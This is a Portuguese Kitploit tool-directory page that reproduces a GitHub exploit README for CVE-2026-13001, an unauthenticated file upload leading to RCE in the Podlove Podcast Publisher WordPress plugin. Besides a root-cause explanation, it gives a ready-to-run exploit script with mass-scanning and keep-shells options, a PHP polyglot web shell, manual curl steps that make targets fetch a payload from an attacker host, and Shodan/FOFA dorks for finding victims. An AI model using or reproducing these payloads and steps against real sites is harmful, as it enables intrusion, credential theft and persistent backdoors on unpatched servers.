Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/shinthink/cve-2026-13001
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubshinthink/cve-2026-13001

CVE-2026-13001

Podlove Podcast Publisher RCE por Upload de Arquivo Não Autenticado através da Incompatibilidade entre is_image() e extract_file_extension() | CVSS 9.8

Ver Repositório
2há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-13001 — Podlove Podcast Publisher: Upload Não Autenticado de Arquivo com RCE

Incompatibilidade entre is_image() e extract_file_extension() → Upload de PHP Poliglota


Visão Geral

CVE-2026-13001 é uma vulnerabilidade crítica (CVSS 9.8) de upload de arquivo arbitrário não autenticado no plugin WordPress Podlove Podcast Publisher versões ≤ 4.5.1.

A vulnerabilidade explora uma incompatibilidade entre duas funções internas que analisam extensões de arquivo de forma diferente:

  • is_image() usa basename() que inclui strings de consulta → URL shell.php?.gif aparece como .gif ✅ (imagem válida)
  • extract_file_extension() usa apenas o caminho de parse_url() → retorna .php → arquivo salvo com extensão .php 🚨

Atacantes fazem upload de poliglotas GIF89a PHP (cabeçalho GIF válido + PHP embutido) que passam na validação de imagem, mas executam como PHP quando acessados.

Versões Afetadas

VersãoEstado
≤ 4.5.1Vulnerável
4.5.2+Corrigida

Descoberto por: Talal Nasraddeen via Wordfence (14 de julho de 2026)


Mecanismo da Vulnerabilidade

Causa Raiz

root@kitploit:~
// is_image() — usa basename() que inclui query string
function is_image($url) {
    $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
    return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ BYPASSED
root@kitploit:~
// extract_file_extension() — usa apenas o caminho de parse_url()
function extract_file_extension($url) {
    $path = parse_url($url, PHP_URL_PATH);
    return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 SALVO COMO .php

Fluxo do Ataque

root@kitploit:~
1. Atacante hospeda poliglota GIF89a PHP em attacker.com/shell.php?.gif
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() valida extensão .gif → PASSA
4. Plugin baixa o arquivo → salva como test_original.php em cache/
5. Atacante acessa /wp-content/cache/podlove/{hash}/test_original.php
6. PHP executa → RCE

Instalação

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

Uso

root@kitploit:~
# Alvo único
python cve_2026_13001.py -t target.com

# Varredura em massa
python cve_2026_13001.py -f targets.txt -o shells.txt

# URL de payload personalizada
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif

# Modo debug, manter shells
python cve_2026_13001.py -t target.com --debug --no-cleanup

Argumentos

root@kitploit:~
  -t, --target       Alvo único (domínio ou IP)
  -f, --file         Lista de alvos, um por linha
  -o, --output       Salvar URLs de RCE em arquivo
  --payload-url      URL hospedando o poliglota PHP (padrão: GitHub raw)
  --threads          Trabalhadores concorrentes (padrão: 30)
  --no-cleanup       Manter shells no alvo
  --debug            Mostrar cada requisição HTTP
  -v, --verbose      Saída detalhada

Prova de Conceito

Alvo Único

root@kitploit:~
$ python cve_2026_13001.py -t podcast-site.com
root@kitploit:~
  Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8

  Host       : podcast-site.com
  Podlove    : YES v4.5.1
  Upload     : YES
  RCE        : YES
  Shell      : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
  Output     : uid=33(www-data) gid=33(www-data)
  Time       : 4.2s

Varredura em Massa

root@kitploit:~
  Targets: 500  |  Threads: 30
  Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif

  [RCE] podcast-vuln-01.com       https://podcast-vuln-01.com/wp-content/cache/podlove/...
  [150/500] 30% | Det:42 RCE:8

Exploração Manual

Passo 1 — Hospede um shell poliglota

root@kitploit:~
// shell.php — salve e hospede no seu servidor
GIF89a<?php system($_GET['c']); ?>

Passo 2 — Codifique em hex a URL com bypass

root@kitploit:~
# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'

Passo 3 — Dispare o download em cache

root@kitploit:~
curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'

Passo 4 — Acesse o shell

root@kitploit:~
# Caminho: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'

FOFA / Shodan

root@kitploit:~
FOFA:   body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"

Impacto

A exploração bem-sucedida resulta em execução remota de código como o usuário do servidor web:

  • Extrair wp-config.php → credenciais do banco de dados
  • Acessar todo conteúdo do WordPress, usuários e dados de plugins
  • Implantar backdoors persistentes
  • Pivotar para redes internas

Aviso Legal

APENAS PARA FINS EDUCACIONAIS E TESTES AUTORIZADOS.

Os autores não assumem nenhuma responsabilidade pelo uso indevido.


Referências


Não afiliado ao Podlove.

Baixar ferramenta
RecursoLink
Aviso da Wordfencewordfence.com
Comunicado de Segurança do Podlovepodlove.org
Entrada no NVDCVE-2026-13001
PoC por Raimu0x19GitHub
PesquisadorTalal Nasraddeen